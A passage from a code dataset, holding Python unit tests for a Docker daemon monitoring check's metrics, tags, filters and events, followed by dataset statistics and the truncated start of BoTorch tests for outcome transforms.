('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.running.total', None),
('docker.containers.stopped.total', None),
('docker.cpu.system', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.cpu.user', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.io.read_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.io.write_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.net.bytes_rcvd', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'docker_network:bridge']),
('docker.net.bytes_sent', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'docker_network:bridge'])
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"exclude": ["docker_image:nginx"],
"collect_images_stats": True,
"collect_image_size": True,
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.run_check_twice(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
perf_metrics = [
"docker.cpu.system",
"docker.cpu.user",
"docker.io.read_bytes",
"docker.io.write_bytes",
"docker.mem.cache",
"docker.mem.rss",
"docker.net.bytes_rcvd",
"docker.net.bytes_sent"
]
nginx_tags = ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest',
'image_name:nginx', 'image_tag:latest']
for mname in perf_metrics:
self.assertMetric(mname, tags=nginx_tags, count=0)
def test_include_filter(self):
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.running.total', None),
('docker.containers.stopped.total', None),
('docker.cpu.system', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.cpu.user', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.io.read_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.io.write_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.net.bytes_rcvd', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'docker_network:bridge']),
('docker.net.bytes_sent', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'docker_network:bridge'])
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"include": ["image_name:redis"],
"exclude": [".*"],
"collect_images_stats": True,
"collect_image_size": True,
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.run_check_twice(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
perf_metrics = [
"docker.cpu.system",
"docker.cpu.user",
"docker.io.read_bytes",
"docker.io.write_bytes",
"docker.mem.cache",
"docker.mem.rss",
"docker.net.bytes_rcvd",
"docker.net.bytes_sent"
]
nginx_tags = ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']
for m in perf_metrics:
self.assertMetric(mname, tags=nginx_tags, count=0)
def test_tags_options(self):
expected_metrics = [
('docker.containers.running', ["container_command:nginx -g 'daemon off;'"]),
('docker.containers.running', ['container_command:docker-entrypoint.sh redis-server']),
('docker.containers.stopped', ["container_command:nginx -g 'daemon off;'"]),
('docker.containers.stopped', ['container_command:docker-entrypoint.sh redis-server']),
('docker.containers.running.total', None),
('docker.containers.stopped.total', None),
('docker.cpu.system', ["container_command:nginx -g 'daemon off;'"]),
('docker.cpu.system', ['container_command:docker-entrypoint.sh redis-server']),
('docker.cpu.user', ['container_command:docker-entrypoint.sh redis-server']),
('docker.cpu.user', ["container_command:nginx -g 'daemon off;'"]),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.io.read_bytes', ["container_command:nginx -g 'daemon off;'"]),
('docker.io.read_bytes', ['container_command:docker-entrypoint.sh redis-server']),
('docker.io.write_bytes', ['container_command:docker-entrypoint.sh redis-server']),
('docker.io.write_bytes', ["container_command:nginx -g 'daemon off;'"]),
('docker.mem.cache', ["container_command:nginx -g 'daemon off;'"]),
('docker.mem.cache', ['container_command:docker-entrypoint.sh redis-server']),
('docker.mem.rss', ['container_command:docker-entrypoint.sh redis-server']),
('docker.mem.rss', ["container_command:nginx -g 'daemon off;'"]),
('docker.net.bytes_rcvd', ['container_command:docker-entrypoint.sh redis-server', 'docker_network:bridge']),
('docker.net.bytes_rcvd', ["container_command:nginx -g 'daemon off;'", 'docker_network:bridge']),
('docker.net.bytes_sent', ["container_command:nginx -g 'daemon off;'", 'docker_network:bridge']),
('docker.net.bytes_sent', ['container_command:docker-entrypoint.sh redis-server', 'docker_network:bridge'])
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"performance_tags": ["container_command"],
"container_tags": ["container_command"],
"collect_images_stats": True,
"collect_image_size": True,
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.run_check_twice(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
def test_set_docker_settings(self):
"""Test a client settings update"""
self.assertEqual(DockerUtil().settings["version"], "auto")
cur_loc = __file__
init_config = {
"api_version": "foobar",
"timeout": "42",
"tls_client_cert": cur_loc,
"tls_client_key": cur_loc,
"tls_cacert": cur_loc,
"tls": True
}
instance = {
"url": "https://foo.bar:42",
}
DockerUtil().set_docker_settings(init_config, instance)
DockerUtil()._client = Client(**DockerUtil().settings)
self.assertEqual(DockerUtil().client.verify, cur_loc)
self.assertEqual(DockerUtil().client.cert, (cur_loc, cur_loc))
reset_docker_settings()
def test_labels_collection(self):
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx', 'short_image:nginx:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx', 'short_image:nginx:latest']),
('docker.containers.running.total', None),
('docker.containers.stopped.total', None),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.limit', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
('docker.mem.in_use', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"collect_labels_as_tags": ["label1"],
"collect_image_size": True,
"collect_images_stats": True,
"collect_container_count": True,
"collect_dead_container_count": True,
"collect_exited_container_count": True,
"collect_volume_count": True,
"collect_dangling_volume_count": True,
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.run_check(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
def test_collect_labels_as_tags(self):
expected_metrics = [
('docker.containers.stopped.total', None),
('docker.containers.running.total', None),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest', 'label1:nginx']),
('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest', 'label1:nginx']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.limit', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.in_use', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.agentConfig = {
'docker_labels_as_tags': 'label1'
}
self.check = load_check('docker_daemon', config, self.agentConfig)
self.run_check(config)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
def test_histogram(self):
metric_suffix = ["count", "avg", "median", "max", "95percentile"]
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest']),
('docker.containers.running.total', None),
('docker.containers.stopped.total', None),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
]
histo_metrics = [
('docker.mem.cache', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.cache', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.rss', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.limit', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.in_use', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"collect_image_size": True,
"collect_images_stats": True,
"use_histogram": True,
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.run_check(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
for mname, tags in histo_metrics:
for suffix in metric_suffix:
self.assertMetric(mname + "." + suffix, tags=tags, at_least=1)
def test_events(self):
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"collect_images_stats": True,
},
],
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
self.run_check(config, force_reload=True)
self.assertEqual(len(self.events), 2)
def test_healthcheck(self):
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"health_service_check_whitelist": ["docker_image:nginx", "docker_image:redis"],
},
],
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
DockerUtil().filtering_enabled = False
self.run_check(config, force_reload=True)
self.assertServiceCheck('docker.container_health', count=2)
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"health_service_check_whitelist": [],
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.run_check(config, force_reload=True)
self.assertServiceCheck('docker.container_health', count=0)
def test_container_size(self):
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest']),
('docker.containers.running.total', None),
('docker.containers.stopped.total', None),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.limit', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.in_use', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
# Container size metrics
("docker.container.size_rootfs", ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
("docker.container.size_rootfs", ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
("docker.container.size_rw", ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"collect_container_size": True,
"collect_image_size": True,
"collect_images_stats": True,
},
],
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
self.run_check(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
def test_image_tags_extraction(self):
entities = [
# ({'Image': image_name}, [expected_image_name, expected_image_tag])
({'Image': 'nginx:latest'}, [['nginx'], ['latest']]),
({'Image': 'localhost/nginx:latest'}, [['localhost/nginx'], ['latest']]),
({'Image': 'localhost:5000/nginx:latest'}, [['localhost:5000/nginx'], ['latest']]),
({'RepoTags': ['redis:latest']}, [['redis'], ['latest']]),
({'RepoTags': ['localhost/redis:latest']}, [['localhost/redis'], ['latest']]),
({'RepoTags': ['localhost:5000/redis:latest']}, [['localhost:5000/redis'], ['latest']]),
({'RepoTags': ['localhost:5000/redis:latest', 'localhost:5000/redis:v1.1']}, [['localhost:5000/redis'], ['latest', 'v1.1']]),
({'RepoTags': [], 'RepoDigests': [u'datadog/docker-dd-agent@sha256:47a59c2ea4f6d9555884aacc608b303f18bde113b1a3a6743844bfc364d73b44']},
[['datadog/docker-dd-agent'], None]),
]
for entity in entities:
self.assertEqual(sorted(DockerUtil().image_tag_extractor(entity[0], 0)), sorted(entity[1][0]))
tags = DockerUtil().image_tag_extractor(entity[0], 1)
if isinstance(entity[1][1], list):
self.assertEqual(sorted(tags), sorted(entity[1][1]))
else:
self.assertEqual(tags, entity[1][1])
def test_container_name_extraction(self):
containers = [
({'Id': 'deadbeef'}, ['deadbeef']),
({'Names': ['/redis'], 'Id': 'deadbeef'}, ['redis']),
({'Names': ['/mongo', '/redis/mongo'], 'Id': 'deadbeef'}, ['mongo']),
({'Names': ['/redis/mongo', '/mongo'], 'Id': 'deadbeef'}, ['mongo']),
]
for co in containers:
self.assertEqual(DockerUtil.container_name_extractor(co[0]), co[1])
def test_collect_exit_code(self):
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"collect_exit_codes": True
}]
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
expected_service_checks = [
(AgentCheck.OK, ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'container_name:test-exit-ok', 'short_image:nginx:latest']),
(AgentCheck.CRITICAL, ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'container_name:test-exit-fail', 'short_image:nginx:latest']),
]
container_ok = self.docker_client.create_container(
"nginx:latest", detach=True, name='test-exit-ok', entrypoint='/bin/true')
log.debug('start nginx:latest with entrypoint /bin/true')
container_fail = self.docker_client.create_container(
"nginx:latest", detach=True, name='test-exit-fail', entrypoint='/bin/false')
log.debug('start nginx:latest with entrypoint /bin/false')
self.docker_client.start(container_ok)
self.docker_client.start(container_fail)
log.debug('container exited with %s' % self.docker_client.wait(container_ok, 1))
log.debug('container exited with %s' % self.docker_client.wait(container_fail, 1))
# After the container exits, we need to wait a second so the event isn't too recent
# when the check runs, otherwise the event is not picked up
from time import sleep
sleep(1)
self.run_check(config)
self.docker_client.remove_container(container_ok)
self.docker_client.remove_container(container_fail)
for status, tags in expected_service_checks:
self.assertServiceCheck('docker.exit', status=status, tags=tags, count=1)
def test_network_tagging(self):
expected_metrics = [
('docker.net.bytes_rcvd',
['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx',
'image_tag:latest', 'docker_network:bridge']),
('docker.net.bytes_rcvd',
['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx',
'image_tag:latest', 'docker_network:second']),
('docker.net.bytes_sent',
['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx',
'image_tag:latest', 'docker_network:bridge']),
('docker.net.bytes_sent',
['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx',
'image_tag:latest', 'docker_network:second'])
]
custom_tags = ["extra_tag", "env:testing"]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"tags": custom_tags,
"collect_image_size": True,
"collect_images_stats": True,
},
],
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
self.run_check_twice(config, force_reload=True)
for mname, tags in expected_metrics:
expected_tags = list(custom_tags)
if tags is not None:
expected_tags += tags
self.assertMetric(mname, tags=expected_tags, count=1, at_least=1)
def mock_parse_cgroup_file(self, stat_file):
with open(stat_file, 'r') as fp:
if 'blkio' in stat_file:
return {}
elif 'cpuacct.usage' in stat_file:
return dict({'usage': str(int(fp.read())/10000000)})
# mocked part
elif 'cpu' in stat_file:
return {'user': 1000 * self.run, 'system': 1000 * self.run}
self.run += 1
elif 'memory.soft_limit_in_bytes' in stat_file:
value = int(fp.read())
if value < 2 ** 60:
return dict({'softlimit': value})
else:
return dict(map(lambda x: x.split(' ', 1), fp.read().splitlines()))
def test_filter_capped_metrics(self):
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"capped_metrics": {
"docker.cpu.user": 100,
"docker.cpu.system": 100,
}
}]
}
self.run = 1
self.run_check_twice(config, mocks={'_parse_cgroup_file': self.mock_parse_cgroup_file})
# last 2 points should be dropped so the rate should be 0
self.assertMetric('docker.cpu.user', value=0.0)
self.assertMetric('docker.cpu.system', value=0.0)
def test_filter_event_type(self):
""" Testing event type filtering"""
event_list = [
{"status":"create","id":"aa717771661fb29ed0ca74274178dbc7114dee3d4adfde7760828ee3f6b52001","from":"redis","Type":"container","Action":"create","Actor":{"ID":"aa717771661fb29ed0ca74274178dbc7114dee3d4adfde7760828ee3f6b52001","Attributes":{"image":"redis","name":"brave_rosalind"}},"scope":"local","time":1505221851,"timeNano":1505221851874332240},
{"status":"pause","id":"aa717771661fb29ed0ca74274178dbc7114dee3d4adfde7760828ee3f6b52001","from":"redis","Type":"container","Action":"pause","Actor":{"ID":"aa717771661fb29ed0ca74274178dbc7114dee3d4adfde7760828ee3f6b52001","Attributes":{"image":"redis","name":"brave_rosalind"}},"scope":"local","time":1505221892,"timeNano":1505221892885900077},
{"status":"top","id":"aa717771661fb29ed0ca74274178dbc7114dee3d4adfde7760828ee3f6b52001","from":"redis","Type":"container","Action":"top","Actor":{"ID":"aa717771661fb29ed0ca74274178dbc7114dee3d4adfde7760828ee3f6b52001","Attributes":{"image":"redis","name":"brave_rosalind"}},"scope":"local","time":1505221910,"timeNano":1505221910331861955},
]
dict_mock = {"redis":event_list}
# Testing with the default config
self.run_check(MOCK_CONFIG, force_reload=True)
result = self.check._format_events(dict_mock, {})
self.assertEqual(1, len(result))
self.assertIn('create', result[0]['msg_text'])
self.assertIn('pause', result[0]['msg_text'])
self.assertNotIn('top', result[0]['msg_text'])
# Testing with a custom config
mock_config_top = {
"init_config": {},
"instances": [{
"url": "unix://var/run/w00t.sock",
"filtered_event_types": ["pause"]
}]
}
self.run_check(mock_config_top, force_reload=True)
resulttop = self.check._format_events(dict_mock, {})
self.assertEqual(1, len(resulttop))
self.assertIn('create', resulttop[0]['msg_text'])
self.assertNotIn('pause', resulttop[0]['msg_text'])
self.assertIn('top', resulttop[0]['msg_text'])
| 53.434141
| 358
| 0.621408
| 5,763
| 50,709
| 5.254728
| 0.070796
| 0.069742
| 0.060562
| 0.054816
| 0.809233
| 0.781726
| 0.758412
| 0.739557
| 0.722452
| 0.705908
| 0
| 0.017237
| 0.219724
| 50,709
| 948
| 359
| 53.490506
| 0.748123
| 0.012384
| 0
| 0.566625
| 0
| 0
| 0.437396
| 0.228575
| 0
| 0
| 0
| 0
| 0.089664
| 0
| null | null | 0
| 0.012453
| null | null | 0.001245
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ed504b03e2d7f3327ec0eff835b08078ecb034c6
| 25,089
|
py
|
Python
|
test/models/transforms/test_outcome.py
|
saitcakmak/botorch
|
fca1fa6ec27814e320564c2041f6c7dba8847ecc
|
[
"MIT"
] | 2,344
|
2019-05-01T04:57:26.000Z
|
2022-03-29T17:00:41.000Z
|
test/models/transforms/test_outcome.py
|
saitcakmak/botorch
|
fca1fa6ec27814e320564c2041f6c7dba8847ecc
|
[
"MIT"
] | 942
|
2019-05-01T05:11:30.000Z
|
2022-03-31T21:58:24.000Z
|
test/models/transforms/test_outcome.py
|
saitcakmak/botorch
|
fca1fa6ec27814e320564c2041f6c7dba8847ecc
|
[
"MIT"
] | 280
|
2019-05-01T05:14:53.000Z
|
2022-03-29T16:00:33.000Z
|
#!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import itertools
from copy import deepcopy
import torch
from botorch.models.transforms.outcome import (
ChainedOutcomeTransform,
Log,
OutcomeTransform,
Power,
Standardize,
)
from botorch.models.transforms.utils import (
norm_to_lognorm_mean,
norm_to_lognorm_variance,
)
from botorch.posteriors import GPyTorchPosterior, TransformedPosterior
from botorch.utils.testing import BotorchTestCase
from gpytorch.distributions import MultitaskMultivariateNormal, MultivariateNormal
from gpytorch.lazy import NonLazyTensor
def _get_test_posterior(shape, device, dtype, interleaved=True, lazy=False):
mean = torch.rand(shape, device=device, dtype=dtype)
n_covar = shape[-2:].numel()
diag = torch.rand(shape, device=device, dtype=dtype)
diag = diag.view(*diag.shape[:-2], n_covar)
a = torch.rand(*shape[:-2], n_covar, n_covar, device=device, dtype=dtype)
covar = a @ a.transpose(-1, -2) + torch.diag_embed(diag)
if lazy:
covar = NonLazyTensor(covar)
if shape[-1] == 1:
mvn = MultivariateNormal(mean.squeeze(-1), covar)
else:
mvn = MultitaskMultivariateNormal(mean, covar, interleaved=interleaved)
return GPyTorchPosterior(mvn)
class NotSoAbstractOutcomeTransform(OutcomeTransform):
def forward(self, Y, Yvar):
pass
class TestOutcomeTransforms(BotorchTestCase):
def test_abstract_base_outcome_transform(self):
with self.assertRaises(TypeError):
OutcomeTransform()
oct = NotSoAbstractOutcomeTransform()
with self.assertRaises(NotImplementedError):
oct.subset_output(None)
with self.assertRaises(NotImplementedError):
oct.untransform(None, None)
with self.assertRaises(NotImplementedError):
oct.untransform_posterior(None)
def test_standardize(self):
# test error on incompatible dim
tf = Standardize(m=1)
with self.assertRaises(RuntimeError):
tf(torch.zeros(3, 2, device=self.device), None)
# test error on incompatible batch shape
with self.assertRaises(RuntimeError):
tf(torch.zeros(2, 3, 1, device=self.device), None)
ms = (1, 2)
batch_shapes = (torch.Size(), torch.Size([2]))
dtypes = (torch.float, torch.double)
# test transform, untransform, untransform_posterior
for m, batch_shape, dtype in itertools.product(ms, batch_shapes, dtypes):
# test init
tf = Standardize(m=m, batch_shape=batch_shape)
self.assertTrue(tf.training)
self.assertEqual(tf._m, m)
self.assertIsNone(tf._outputs)
self.assertEqual(tf._batch_shape, batch_shape)
self.assertEqual(tf._min_stdv, 1e-8)
# no observation noise
with torch.random.fork_rng():
torch.manual_seed(0)
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Y_tf, Yvar_tf = tf(Y, None)
self.assertTrue(tf.training)
self.assertTrue(torch.all(Y_tf.mean(dim=-2).abs() < 1e-4))
self.assertIsNone(Yvar_tf)
tf.eval()
self.assertFalse(tf.training)
Y_utf, Yvar_utf = tf.untransform(Y_tf, Yvar_tf)
self.assertTrue(torch.allclose(Y_utf, Y))
self.assertIsNone(Yvar_utf)
# subset_output
tf_subset = tf.subset_output(idcs=[0])
Y_tf_subset, Yvar_tf_subset = tf_subset(Y[..., [0]])
self.assertTrue(torch.equal(Y_tf[..., [0]], Y_tf_subset))
self.assertIsNone(Yvar_tf_subset)
with self.assertRaises(RuntimeError):
tf.subset_output(idcs=[0, 1, 2])
# with observation noise
tf = Standardize(m=m, batch_shape=batch_shape)
Y = torch.rand(*batch_shape, 3, m, device=self.device, dtype=dtype)
Yvar = 1e-8 + torch.rand(
*batch_shape, 3, m, device=self.device, dtype=dtype
)
Y_tf, Yvar_tf = tf(Y, Yvar)
self.assertTrue(tf.training)
self.assertTrue(torch.all(Y_tf.mean(dim=-2).abs() < 1e-4))
Yvar_tf_expected = Yvar / Y.std(dim=-2, keepdim=True) ** 2
self.assertTrue(torch.allclose(Yvar_tf, Yvar_tf_expected))
tf.eval()
self.assertFalse(tf.training)
Y_utf, Yvar_utf = tf.untransform(Y_tf, Yvar_tf)
self.assertTrue(torch.allclose(Y_utf, Y))
self.assertTrue(torch.allclose(Yvar_utf, Yvar))
# untransform_posterior
for interleaved, lazy in itertools.product((True, False), (True, False)):
if m == 1 and interleaved: # interleave has no meaning for m=1
continue
shape = batch_shape + torch.Size([3, m])
posterior = _get_test_posterior(
shape,
device=self.device,
dtype=dtype,
interleaved=interleaved,
lazy=lazy,
)
p_utf = tf.untransform_posterior(posterior)
